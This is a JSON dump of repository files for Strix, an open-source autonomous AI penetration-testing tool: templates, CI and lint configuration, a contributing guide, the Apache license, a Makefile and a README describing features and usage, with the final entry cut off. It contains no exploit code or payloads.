[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: \"[BUG]\"\nlabels: bug\nassignees: ''\n\n---\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nSteps to reproduce the behavior:\n1.\n2.\n3.\n4.\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**System Information:**\n- OS: [e.g. Ubuntu 22.04]\n- Strix Version or Commit: [e.g. 0.1.18]\n- Python Version: [e.g. 3.12]\n- LLM Used: [e.g. GPT-5, Claude Sonnet 4.6]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: \"[FEATURE]\"\nlabels: enhancement\nassignees: ''\n\n---\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Describe alternatives you've considered**\nA clear and concise description of any alternative solutions or features you've considered.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n"
  },
  {
    "path": ".github/workflows/build-release.yml",
    "content": "name: Build & Release\n\non:\n  push:\n    tags:\n      - 'v*'\n  workflow_dispatch:\n\njobs:\n  build:\n    strategy:\n      fail-fast: false\n      matrix:\n        include:\n          - os: macos-latest\n            target: macos-arm64\n          - os: macos-15-intel\n            target: macos-x86_64\n          - os: ubuntu-latest\n            target: linux-x86_64\n          - os: windows-latest\n            target: windows-x86_64\n\n    runs-on: ${{ matrix.os }}\n\n    steps:\n      - uses: actions/checkout@v4\n\n      - uses: actions/setup-python@v5\n        with:\n          python-version: '3.12'\n\n      - uses: snok/install-poetry@v1\n\n      - name: Build\n        shell: bash\n        run: |\n          poetry install --with dev\n          poetry run pyinstaller strix.spec --noconfirm\n\n          VERSION=$(poetry version -s)\n          mkdir -p dist/release\n\n          if [[ \"${{ runner.os }}\" == \"Windows\" ]]; then\n            cp dist/strix.exe \"dist/release/strix-${VERSION}-${{ matrix.target }}.exe\"\n            (cd dist/release && 7z a \"strix-${VERSION}-${{ matrix.target }}.zip\" \"strix-${VERSION}-${{ matrix.target }}.exe\")\n          else\n            cp dist/strix \"dist/release/strix-${VERSION}-${{ matrix.target }}\"\n            chmod +x \"dist/release/strix-${VERSION}-${{ matrix.target }}\"\n            tar -C dist/release -czvf \"dist/release/strix-${VERSION}-${{ matrix.target }}.tar.gz\" \"strix-${VERSION}-${{ matrix.target }}\"\n          fi\n\n      - uses: actions/upload-artifact@v4\n        with:\n          name: strix-${{ matrix.target }}\n          path: |\n            dist/release/*.tar.gz\n            dist/release/*.zip\n          if-no-files-found: error\n\n  release:\n    needs: build\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n\n    steps:\n      - uses: actions/download-artifact@v4\n        with:\n          path: release\n          merge-multiple: true\n\n      - name: Create Release\n        uses: softprops/action-gh-release@v2\n        with:\n          prerelease: ${{ !startsWith(github.ref, 'refs/tags/') }}\n          generate_release_notes: true\n          files: release/*\n"
  },
  {
    "path": ".gitignore",
    "content": "# Python\n__pycache__/\n*.py[cod]\n*$py.class\n*.so\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# Virtual Environment\nvenv/\nenv/\nENV/\n.env\n.venv\npip-log.txt\npip-delete-this-directory.txt\n\n# IDE\n.idea/\n.vscode/\n*.swp\n*.swo\n.DS_Store\n.project\n.pydevproject\n.settings/\n\n# Testing\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n.hypothesis/\n.pytest_cache/\nhtmlcov/\n\n# FastAPI\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\n# MongoDB\ndata/\nmongod.log\n*.mongodb\n*.mongorc.js\n\n# LLM and ML related\n*.bin\n*.pt\n*.pth\n*.onnx\n*.h5\n*.hdf5\n*.pkl\n*.joblib\nwandb/\nruns/\ncheckpoints/\nlogs/\ntensorboard/\n\n# Agent execution traces\nstrix_runs/\nagent_runs/\n\n# Misc\n*.log\n*.sqlite\n*.db\n.directory\n*.bak\n*.tmp\n*.temp\n.DS_Store\nThumbs.db\n\n*.schema.graphql\nschema.graphql\n\n.opencode/\n"
  },
  {
    "path": ".pre-commit-config.yaml",
    "content": "repos:\n  # Ruff for fast linting and formatting\n  - repo: https://github.com/astral-sh/ruff-pre-commit\n    rev: v0.11.13\n    hooks:\n      - id: ruff\n        args: [--fix, --exit-non-zero-on-fix]\n        name: ruff-lint\n      - id: ruff-format\n        name: ruff-format\n\n  # MyPy for static type checking\n  - repo: https://github.com/pre-commit/mirrors-mypy\n    rev: v1.16.0\n    hooks:\n      - id: mypy\n        additional_dependencies: [\n          types-requests,\n          types-python-dateutil,\n          pydantic,\n          fastapi,\n        ]\n        args: [--install-types, --non-interactive]\n\n  # Built-in hooks for basic file checks\n  - repo: https://github.com/pre-commit/pre-commit-hooks\n    rev: v5.0.0\n    hooks:\n      - id: trailing-whitespace\n      - id: end-of-file-fixer\n      - id: check-toml\n      - id: check-merge-conflict\n      - id: check-added-large-files\n      - id: debug-statements\n      - id: check-case-conflict\n      - id: check-docstring-first\n\n  # Security checks with bandit\n  - repo: https://github.com/PyCQA/bandit\n    rev: 1.8.3\n    hooks:\n      - id: bandit\n        args: [-c, pyproject.toml]\n\n  # Additional Python code quality checks\n  - repo: https://github.com/asottile/pyupgrade\n    rev: v3.20.0\n    hooks:\n      - id: pyupgrade\n        args: [--py312-plus]\n\nci:\n  autofix_commit_msg: |\n    [pre-commit.ci] auto fixes from pre-commit.com hooks\n\n    for more information, see https://pre-commit.ci\n  autofix_prs: true\n  autoupdate_branch: \"\"\n  autoupdate_commit_msg: \"[pre-commit.ci] pre-commit autoupdate\"\n  autoupdate_schedule: weekly\n  skip: []\n  submodules: false\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to Strix\n\nThank you for your interest in contributing to Strix! This guide will help you get started with development and contributions.\n\n## 🚀 Development Setup\n\n### Prerequisites\n\n- Python 3.12+\n- Docker (running)\n- Poetry (for dependency management)\n- Git\n\n### Local Development\n\n1. **Clone the repository**\n   ```bash\n   git clone https://github.com/usestrix/strix.git\n   cd strix\n   ```\n\n2. **Install development dependencies**\n   ```bash\n   make setup-dev\n\n   # or manually:\n   poetry install --with=dev\n   poetry run pre-commit install\n   ```\n\n3. **Configure your LLM provider**\n   ```bash\n   export STRIX_LLM=\"openai/gpt-5\"\n   export LLM_API_KEY=\"your-api-key\"\n   ```\n\n4. **Run Strix in development mode**\n   ```bash\n   poetry run strix --target https://example.com\n   ```\n\n## 📚 Contributing Skills\n\nSkills are specialized knowledge packages that enhance agent capabilities. See [strix/skills/README.md](strix/skills/README.md) for detailed guidelines.\n\n### Quick Guide\n\n1. **Choose the right category** (`/vulnerabilities`, `/frameworks`, `/technologies`, etc.)\n2. **Create a** `.md` file with your skill content\n3. **Include practical examples** - Working payloads, commands, or test cases\n4. **Provide validation methods** - How to confirm findings and avoid false positives\n5. **Submit via PR** with clear description\n\n## 🔧 Contributing Code\n\n### Pull Request Process\n\n1. **Create an issue first** - Describe the problem or feature\n2. **Fork and branch** - Work from the `main` branch\n3. **Make your changes** - Follow existing code style\n4. **Write/update tests** - Ensure coverage for new features\n5. **Run quality checks** - `make check-all` should pass\n6. **Submit PR** - Link to issue and provide context\n\n### PR Guidelines\n\n- **Clear description** - Explain what and why\n- **Small, focused changes** - One feature/fix per PR\n- **Include examples** - Show before/after behavior\n- **Update documentation** - If adding features\n- **Pass all checks** - Tests, linting, type checking\n\n### Code Style\n\n- Follow PEP 8 with 100-character line limit\n- Use type hints for all functions\n- Write docstrings for public methods\n- Keep functions focused and small\n- Use meaningful variable names\n\n## 🐛 Reporting Issues\n\nWhen reporting bugs, please include:\n\n- Python version and OS\n- Strix version\n- LLMs being used\n- Full error traceback\n- Steps to reproduce\n- Expected vs actual behavior\n\n## 💡 Feature Requests\n\nWe welcome feature ideas! Please:\n\n- Check existing issues first\n- Describe the use case clearly\n- Explain why it would benefit users\n- Consider implementation approach\n- Be open to discussion\n\n## 🤝 Community\n\n- **Discord**: [Join our community](https://discord.gg/strix-ai)\n- **Issues**: [GitHub Issues](https://github.com/usestrix/strix/issues)\n\n## ✨ Recognition\n\nWe value all contributions! Contributors will be:\n- Listed in release notes\n- Thanked in our Discord\n- Added to contributors list (coming soon)\n\n---\n\n**Questions?** Reach out on [Discord](https://discord.gg/strix-ai) or create an issue. We're here to help!\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright 2025 OmniSecure Inc.\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "Makefile",
    "content": ".PHONY: help install dev-install format lint type-check test test-cov clean pre-commit setup-dev\n\nhelp:\n\t@echo \"Available commands:\"\n\t@echo \"  setup-dev     - Install all development dependencies and setup pre-commit\"\n\t@echo \"  install       - Install production dependencies\"\n\t@echo \"  dev-install   - Install development dependencies\"\n\t@echo \"\"\n\t@echo \"Code Quality:\"\n\t@echo \"  format        - Format code with ruff\"\n\t@echo \"  lint          - Lint code with ruff and pylint\"\n\t@echo \"  type-check    - Run type checking with mypy and pyright\"\n\t@echo \"  security      - Run security checks with bandit\"\n\t@echo \"  check-all     - Run all code quality checks\"\n\t@echo \"\"\n\t@echo \"Testing:\"\n\t@echo \"  test          - Run tests with pytest\"\n\t@echo \"  test-cov      - Run tests with coverage reporting\"\n\t@echo \"\"\n\t@echo \"Development:\"\n\t@echo \"  pre-commit    - Run pre-commit hooks on all files\"\n\t@echo \"  clean         - Clean up cache files and artifacts\"\n\ninstall:\n\tpoetry install --only=main\n\ndev-install:\n\tpoetry install --with=dev\n\nsetup-dev: dev-install\n\tpoetry run pre-commit install\n\t@echo \"✅ Development environment setup complete!\"\n\t@echo \"Run 'make check-all' to verify everything works correctly.\"\n\nformat:\n\t@echo \"🎨 Formatting code with ruff...\"\n\tpoetry run ruff format .\n\t@echo \"✅ Code formatting complete!\"\n\nlint:\n\t@echo \"🔍 Linting code with ruff...\"\n\tpoetry run ruff check . --fix\n\t@echo \"📝 Running additional linting with pylint...\"\n\tpoetry run pylint strix/ --score=no --reports=no\n\t@echo \"✅ Linting complete!\"\n\ntype-check:\n\t@echo \"🔍 Type checking with mypy...\"\n\tpoetry run mypy strix/\n\t@echo \"🔍 Type checking with pyright...\"\n\tpoetry run pyright strix/\n\t@echo \"✅ Type checking complete!\"\n\nsecurity:\n\t@echo \"🔒 Running security checks with bandit...\"\n\tpoetry run bandit -r strix/ -c pyproject.toml\n\t@echo \"✅ Security checks complete!\"\n\ncheck-all: format lint type-check security\n\t@echo \"✅ All code quality checks passed!\"\n\ntest:\n\t@echo \"🧪 Running tests...\"\n\tpoetry run pytest -v\n\t@echo \"✅ Tests complete!\"\n\ntest-cov:\n\t@echo \"🧪 Running tests with coverage...\"\n\tpoetry run pytest -v --cov=strix --cov-report=term-missing --cov-report=html\n\t@echo \"✅ Tests with coverage complete!\"\n\t@echo \"📊 Coverage report generated in htmlcov/\"\n\npre-commit:\n\t@echo \"🔧 Running pre-commit hooks...\"\n\tpoetry run pre-commit run --all-files\n\t@echo \"✅ Pre-commit hooks complete!\"\n\nclean:\n\t@echo \"🧹 Cleaning up cache files...\"\n\tfind . -type d -name \"__pycache__\" -exec rm -rf {} + 2>/dev/null || true\n\tfind . -type d -name \".pytest_cache\" -exec rm -rf {} + 2>/dev/null || true\n\tfind . -type d -name \".mypy_cache\" -exec rm -rf {} + 2>/dev/null || true\n\tfind . -type d -name \".ruff_cache\" -exec rm -rf {} + 2>/dev/null || true\n\tfind . -type d -name \"htmlcov\" -exec rm -rf {} + 2>/dev/null || true\n\tfind . -name \"*.pyc\" -delete 2>/dev/null || true\n\tfind . -name \".coverage\" -delete 2>/dev/null || true\n\t@echo \"✅ Cleanup complete!\"\n\ndev: format lint type-check test\n\t@echo \"✅ Development cycle complete!\"\n"
  },
  {
    "path": "README.md",
    "content": "<p align=\"center\">\n  <a href=\"https://strix.ai/\">\n    <img src=\"https://github.com/usestrix/.github/raw/main/imgs/cover.png\" alt=\"Strix Banner\" width=\"100%\">\n  </a>\n</p>\n\n<div align=\"center\">\n\n# Strix\n\n### Open-source AI hackers to find and fix your app’s vulnerabilities.\n\n<br/>\n\n\n<a href=\"https://docs.strix.ai\"><img src=\"https://img.shields.io/badge/Docs-docs.strix.ai-2b9246?style=for-the-badge&logo=gitbook&logoColor=white\" alt=\"Docs\"></a>\n<a href=\"https://strix.ai\"><img src=\"https://img.shields.io/badge/Website-strix.ai-f0f0f0?style=for-the-badge&logoColor=000000\" alt=\"Website\"></a>\n[![](https://dcbadge.limes.pink/api/server/strix-ai)](https://discord.gg/strix-ai)\n\n<a href=\"https://deepwiki.com/usestrix/strix\"><img src=\"https://deepwiki.com/badge.svg\" alt=\"Ask DeepWiki\"></a>\n<a href=\"https://github.com/usestrix/strix\"><img src=\"https://img.shields.io/github/stars/usestrix/strix?style=flat-square\" alt=\"GitHub Stars\"></a>\n<a href=\"LICENSE\"><img src=\"https://img.shields.io/badge/License-Apache%202.0-3b82f6?style=flat-square\" alt=\"License\"></a>\n<a href=\"https://pypi.org/project/strix-agent/\"><img src=\"https://img.shields.io/pypi/v/strix-agent?style=flat-square\" alt=\"PyPI Version\"></a>\n\n\n<a href=\"https://discord.gg/strix-ai\"><img src=\"https://github.com/usestrix/.github/raw/main/imgs/Discord.png\" height=\"40\" alt=\"Join Discord\"></a>\n<a href=\"https://x.com/strix_ai\"><img src=\"https://github.com/usestrix/.github/raw/main/imgs/X.png\" height=\"40\" alt=\"Follow on X\"></a>\n\n\n<a href=\"https://trendshift.io/repositories/15362\" target=\"_blank\"><img src=\"https://trendshift.io/api/badge/repositories/15362\" alt=\"usestrix/strix | Trendshift\" width=\"250\" height=\"55\"/></a>\n\n</div>\n\n\n\n> [!TIP]\n> **New!** Strix integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilities on every pull request and block insecure code before it reaches production!\n\n---\n\n\n## Strix Overview\n\nStrix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.\n\n**Key Capabilities:**\n\n- **Full hacker toolkit** out of the box\n- **Teams of agents** that collaborate and scale\n- **Real validation** with PoCs, not false positives\n- **Developer‑first** CLI with actionable reports\n- **Auto‑fix & reporting** to accelerate remediation\n\n\n<br>\n\n\n<div align=\"center\">\n  <a href=\"https://strix.ai\">\n    <img src=\".github/screenshot.png\" alt=\"Strix Demo\" width=\"1000\" style=\"border-radius: 16px;\">\n  </a>\n</div>\n\n\n## Use Cases\n\n- **Application Security Testing** - Detect and validate critical vulnerabilities in your applications\n- **Rapid Penetration Testing** - Get penetration tests done in hours, not weeks, with compliance reports\n- **Bug Bounty Automation** - Automate bug bounty research and generate PoCs for faster reporting\n- **CI/CD Integration** - Run tests in CI/CD to block vulnerabilities before reaching production\n\n## 🚀 Quick Start\n\n**Prerequisites:**\n- Docker (running)\n- An LLM API key:\n  - Any [supported provider](https://docs.strix.ai/llm-providers/overview) (OpenAI, Anthropic, Google, etc.)\n  - Or [Strix Router](https://models.strix.ai) — single API key for multiple providers\n\n### Installation & First Scan\n\n```bash\n# Install Strix\ncurl -sSL https://strix.ai/install | bash\n\n# Configure your AI provider\nexport STRIX_LLM=\"openai/gpt-5\"  # or \"strix/gpt-5\" via Strix Router (https://models.strix.ai)\nexport LLM_API_KEY=\"your-api-key\"\n\n# Run your first security assessment\nstrix --target ./app-directory\n```\n\n> [!NOTE]\n> First run automatically pulls the sandbox Docker image. Results are saved to `strix_runs/<run-name>`\n\n---\n\n## ☁️ Strix Platform\n\nTry the Strix full-stack security platform at **[app.strix.ai](https://app.strix.ai)** — sign up for free, connect your repos and domains, and launch a pentest in minutes.\n\n- **Validated findings with PoCs** and reproduction steps\n- **One-click autofix** as ready-to-merge pull requests\n- **Continuous monitoring** across code, cloud, and infrastructure\n- **Integrations** with GitHub, Slack, Jira, Linear, and CI/CD pipelines\n- **Continuous learning** that builds on past findings and remediations\n\n[**Start your first pentest →**](https://app.strix.ai)\n\n---\n\n## ✨ Features\n\n### Agentic Security Tools\n\nStrix agents come equipped with a comprehensive security testing toolkit:\n\n- **Full HTTP Proxy** - Full request/response manipulation and analysis\n- **Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows\n- **Terminal Environments** - Interactive shells for command execution and testing\n- **Python Runtime** - Custom exploit development and validation\n- **Reconnaissance** - Automated OSINT and attack surface mapping\n- **Code Analysis** - Static and dynamic analysis capabilities\n- **Knowledge Management** - Structured findings and attack documentation\n\n### Comprehensive Vulnerability Detection\n\nStrix can identify and validate a wide range of security vulnerabilities:\n\n- **Access Control** - IDOR, privilege escalation, auth bypass\n- **Injection Attacks** - SQL, NoSQL, command injection\n- **Server-Side** - SSRF, XXE, deserialization flaws\n- **Client-Side** - XSS, prototype pollution, DOM vulnerabilities\n- **Business Logic** - Race conditions, workflow manipulation\n- **Authentication** - JWT vulnerabilities, session management\n- **Infrastructure** - Misconfigurations, exposed services\n\n### Graph of Agents\n\nAdvanced multi-agent orchestration for comprehensive security testing:\n\n- **Distributed Workflows** - Specialized agents for different attacks and assets\n- **Scalable Testing** - Parallel execution for fast comprehensive coverage\n- **Dynamic Coordination** - Agents collaborate and share discoveries\n\n---\n\n## Usage Examples\n\n### Basic Usage\n\n```bash\n# Scan a local codebase\nstrix --target ./app-directory\n\n# Security review of a GitHub repository\nstrix --target https://github.com/org/repo\n\n# Black-box web application assessment\nstrix --target https://your-app.com\n```\n\n### Advanced Testing Scenarios\n\n```bash\n# Grey-box authenticated testing\nstrix --target https://your-app.com --instruction \"Perform authenticated testing using credentials: user:pass\"\n\n# Multi-target testing (source code + deployed app)\nstrix -t https://github.com/org/app -t https://your-app.com\n\n# Focused testing with custom instructions\nstrix --target api.your-app.com --instruction \"Focus on business logic flaws and IDOR vulnerabilities\"\n\n# Provide detailed instructions through file (e.g., rules of engagement, scope, exclusions)\nstrix --target api.your-app.com --instruction-file ./instruction.md\n```\n\n### Headless Mode\n\nRun Strix programmatically without interactive UI using the `-n/--non-interactive` flag—perfect for servers and automated jobs. The CLI prints real-time vulnerability findings, and the final report before exiting. Exits with non-zero code when vulnerabilities are found.\n\n```bash\nstrix -n --target https://your-app.com\n```\n\n### CI/CD (GitHub Actions)\n\nStrix can be added to your pipeline to run a security test on pull requests with a lightweight GitHub Actions workflow:\n\n```yaml\nname: strix-penetration-test\n\non:\n  pull_request:\n\njobs:\n  security-scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n\n      - name: Install Strix\n        run: curl -sSL https://strix.ai/install | bash\n\n      - name: Run Strix\n        env:\n          STRIX_LLM: ${{ secrets.STRIX_LLM }}\n          LLM_API_KEY: ${{ secrets.LLM_API_KEY }}\n\n        run: strix -n -t ./ --scan-mode quick\n```\n\n### Configuration\n\n```bash\nexport STRIX_LLM=\"openai/gpt-5\"\nexport LLM_API_KEY=\"your-api-key\"\n\n# Optional\nexport LLM_API_BASE=\"your-api-base-url\"  # if using a local model, e.g. Ollama, LMStudio\nexport PERPLEXITY_API_KEY=\"your-api-key\"  # for search capabilities\nexport STRIX_REASONING_EFFORT=\"high\"  # control thinking effort (default: high, quick scan: medium)\n```\n\n> [!NOTE]\n> Strix automatically saves your configuration to `~/.strix/cli-config.json`, so you don't have to re-enter it on every run.\n\n**Recommended models for best results:**\n\n- [OpenAI GPT-5](https://openai.com/api/) — `openai/gpt-5`\n- [Anthropic Claude Sonnet 4.6](https://claude.com/platform/api) — `anthropic/claude-sonnet-4-6`\n- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) — `vertex_ai/gemini-3-pro-preview`\n\nSee the [LLM Providers documentation](https://docs.strix.ai/llm-providers/overview) for all supported providers including Vertex AI, Bedrock, Azure, and local models.\n\n## Enterprise\n\nGet the same Strix experience with [enterprise-grade](https://strix.ai/demo) controls: SSO (SAML/OIDC), custom compliance reports, dedicated support & SLA, custom deployment options (VPC/self-hosted), BYOK model support, and tailored agents optimized for your environment. [Learn more](https://strix.ai/demo).\n\n## Documentation\n\nFull documentation is available at **[docs.strix.ai](https://docs.strix.ai)** — including detailed guides for usage, CI/CD integrations, skills, and advanced configuration.\n\n## Contributing\n\nWe welcome contributions of code, docs, and new skills - check out our [Contributing Guide](https://docs.strix.ai/contributing) to get started or open a [pull request](https://github.com/usestrix/strix/pulls)/[issue](https://github.com/usestrix/strix/issues).\n\n## Join Our Community\n\nHave questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/strix-ai)**\n\n## Support the Project\n\n**Love Strix?** Give us a ⭐ on GitHub!\n\n## Acknowledgements\n\nStrix builds on the incredible work of open-source projects like [LiteLLM](https://github.com/BerriAI/litellm), [Caido](https://github.com/caido/caido), [Nuclei](https://github.com/projectdiscovery/nuclei), [Playwright](https://github.com/microsoft/playwright), and [Textual](https://github.com/Textualize/textual). Huge thanks to their maintainers!\n\n\n> [!WARNING]\n> Only test apps you own or have permission to test. You are responsible for using Strix ethically and legally.\n\n</div>\n"
  },
  {
    "path": "benchmarks/README.md",
